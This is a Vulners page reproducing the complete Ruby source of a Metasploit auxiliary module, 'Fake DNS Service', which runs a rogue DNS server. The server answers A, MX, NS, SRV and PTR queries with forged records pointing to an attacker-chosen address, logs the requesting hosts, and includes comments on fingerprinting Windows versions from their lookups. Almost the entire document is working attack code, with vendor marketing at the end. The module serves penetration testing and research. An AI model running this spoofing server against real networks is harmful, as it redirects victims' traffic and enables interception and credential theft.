Lucene search
K

Fake DNS Service

🗓️ 01 Jul 2010 19:57:03Reported by ddz <[email protected]>, hdm <[email protected]>, fozavciType 
metasploit
 metasploit
🔗 www.rapid7.com👁 45 Views

This module provides a DNS service that redirects all queries to a particular address

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'resolv'

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report


  def initialize
    super(
      'Name'        => 'Fake DNS Service',
      'Description'    => %q{
        This module provides a DNS service that redirects
      all queries to a particular address.
      },
      'Author'      => ['ddz', 'hdm', 'fozavci'],
      'License'     => MSF_LICENSE,
      'Actions'     =>
        [
          [ 'Service', 'Description' => 'Run DNS server' ]
        ],
      'PassiveActions' =>
        [
          'Service'
        ],
      'DefaultAction'  => 'Service'
    )

    register_options(
      [
        OptAddress.new('SRVHOST',   [ true, "The local host to listen on.", '0.0.0.0' ]),
        OptPort.new('SRVPORT',      [ true, "The local port to listen on.", 53 ]),
        OptAddress.new('TARGETHOST', [ false, "The address that all names should resolve to", nil ]),
        OptString.new('TARGETDOMAIN', [ true, "The list of target domain names we want to fully resolve (BYPASS) or fake resolve (FAKE). Use '*' for wildcard.", 'www.google.com']),
        OptEnum.new('TARGETACTION', [ true, "Action for TARGETDOMAIN", "BYPASS", %w{FAKE BYPASS}]),
      ])

    register_advanced_options(
      [
        OptPort.new('RR_SRV_PORT', [ false, "The port field in the SRV response when FAKE", 5060]),
        OptBool.new('LogConsole', [ false, "Determines whether to log all request to the console", true]),
        OptBool.new('LogDatabase', [ false, "Determines whether to log all request to the database", false]),
      ])
  end


  def target_host(addr = nil)
    target = datastore['TARGETHOST']
    if target.blank?
      if addr
        ::Rex::Socket.source_address(addr)
      else
        nil
      end
    else
      ::Rex::Socket.resolv_to_dotted(target)
    end
  end

  def run
    @port = datastore['SRVPORT'].to_i

    @log_console  = false
    @log_database = false

    if datastore['LogConsole']
      @log_console = true
    end

    if datastore['LogDatabase']
      @log_database = true
    end

    # MacOS X workaround
    ::Socket.do_not_reverse_lookup = true

    print_status("DNS server initializing")
    @sock = ::UDPSocket.new()
    @sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
    @sock.bind(datastore['SRVHOST'], @port)
    @run = true
    @domain_target_list = datastore['TARGETDOMAIN'].split
    @bypass = ( datastore['TARGETACTION'].upcase == "BYPASS" )

    print_status("DNS server started")
    begin

    while @run
      @error_resolving = false
      packet, addr = @sock.recvfrom(65535)
      src_addr = addr[3]
      @requestor = addr
      next if packet.length == 0

      request = Resolv::DNS::Message.decode(packet)
      next unless request.qr == 0

      #
      # XXX: Track request IDs by requesting IP address and port
      #
      # Windows XP SP1a: UDP source port constant,
      #  sequential IDs since boot time
      # Windows XP SP2: Randomized IDs
      #
      # Debian 3.1: Static source port (32906) until timeout,
      #  randomized IDs
      #

      lst = []

      request.each_question {|name, typeclass|
        # Identify potential domain exceptions
        @match_target = false
        @match_name = name.to_s
        @domain_target_list.each do |ex|
          escaped = Regexp.escape(ex).gsub('\*','.*?')
          regex = Regexp.new "^#{escaped}$", Regexp::IGNORECASE
          if ( name.to_s =~ regex )
            @match_target = true
            @match_name = ex
          end
        end

        tc_s = typeclass.to_s().gsub(/^Resolv::DNS::Resource::/, "")

        request.qr = 1
        request.ra = 1

        lst << "#{tc_s} #{name}"
        case tc_s
        when 'IN::A'

          # Special fingerprinting name lookups:
          #
          # _isatap -> XP SP = 0
          # isatap.localdomain -> XP SP >= 1
          # teredo.ipv6.microsoft.com -> XP SP >= 2
          #
          # time.windows.com -> windows ???
          # wpad.localdomain -> windows ???
          #
          # <hostname> SOA -> windows XP self hostname lookup
          #

          answer = Resolv::DNS::Resource::IN::A.new(target_host(src_addr))

          if (@match_target and not @bypass) or (not @match_target and @bypass)
            # Resolve FAKE response
            if (@log_console)
              print_status("DNS target domain #{@match_name} found; Returning fake A records for #{name}")
            end
          else
            # Resolve the exception domain
            begin
            ip = Resolv::DNS.new().getaddress(name).to_s
            answer = Resolv::DNS::Resource::IN::A.new( ip )
            rescue ::Exception => e
              @error_resolving = true
              next
            end
            if (@log_console)
              print_status("DNS bypass domain #{@match_name} found; Returning real A records for #{name}")
            end
          end


          request.add_answer(name, 60, answer)

        when 'IN::MX'
          mx = Resolv::DNS::Resource::IN::MX.new(10, Resolv::DNS::Name.create("mail.#{name}"))
          ns = Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create("dns.#{name}"))
          ar = Resolv::DNS::Resource::IN::A.new(target_host(src_addr))
          request.add_answer(name, 60, mx)
          request.add_authority(name, 60, ns)
          request.add_additional(Resolv::DNS::Name.create("mail.#{name}"), 60, ar)

        when 'IN::NS'
          ns = Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create("dns.#{name}"))
          ar = Resolv::DNS::Resource::IN::A.new(target_host(src_addr))
          request.add_answer(name, 60, ns)
          request.add_additional(name, 60, ar)

        when 'IN::SRV'
          if @bypass || !@match_target
            if @log_console
              print_status("DNS bypass domain #{@match_name} found; Returning real SRV records for #{name}")
            end
            # if we are in bypass mode or we are in fake mode but the target didn't match,
            # just return the real response RRs
            resources = Resolv::DNS.new().getresources(Resolv::DNS::Name.create(name), Resolv::DNS::Resource::IN::SRV)
            if resources.empty?
              @error_resolving = true
              print_error("Unable to resolve SRV record for #{name} -- skipping")
              next
            end
            resources.each do |resource|
              host = resource.target
              port = resource.port.to_i
              weight = resource.weight.to_i
              priority = resource.priority.to_i
              ttl = resource.ttl.to_i
              request.add_answer(
                name,
                ttl,
                Resolv::DNS::Resource::IN::SRV.new(priority, weight, port, Resolv::DNS::Name.create(host))
              )
            end
          else
            if @log_console
              print_status("DNS target domain #{@match_name} found; Returning fake SRV records for #{name}")
              # Prepare the FAKE response
              request.add_answer(
                name,
                10,
                Resolv::DNS::Resource::IN::SRV.new(5, 0, datastore['RR_SRV_PORT'], Resolv::DNS::Name.create(name))
              )
              request.add_additional(Resolv::DNS::Name.create(name), 60, Resolv::DNS::Resource::IN::A.new(target_host(src_addr)))
            end
          end
        when 'IN::PTR'
          soa = Resolv::DNS::Resource::IN::SOA.new(
            Resolv::DNS::Name.create("ns.internet.com"),
            Resolv::DNS::Name.create("root.internet.com"),
            1,
            3600,
            3600,
            3600,
            3600
          )
          ans = Resolv::DNS::Resource::IN::PTR.new(
            Resolv::DNS::Name.create("www")
          )

          request.add_answer(name, 60, ans)
          request.add_authority(name, 60, soa)
        else
          lst << "UNKNOWN #{tc_s}"
        end
      }

      if(@log_console)
        if(@error_resolving)
          print_error("XID #{request.id} (#{lst.join(", ")}) - Error resolving")
        else
          print_status("XID #{request.id} (#{lst.join(", ")})")
        end
      end

      if(@log_database)
        report_note(
          :host => addr[3],
          :type => "dns_lookup",
          :data => "#{addr[3]}:#{addr[1]} XID #{request.id} (#{lst.join(", ")})"
        ) if lst.length > 0
      end


      @sock.send(request.encode(), 0, addr[3], addr[1])
    end

    rescue ::Exception => e
      print_error("fakedns: #{e.class} #{e} #{e.backtrace}")
    # Make sure the socket gets closed on exit
    ensure
      @sock.close
    end
  end

  def print_error(msg)
    @requestor ? super("%s:%p - DNS - %s" % [@requestor[3], @requestor[1], msg]) : super(msg)
  end

  def print_status(msg)
    @requestor ? super("%s:%p - DNS - %s" % [@requestor[3], @requestor[1], msg]) : super(msg)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation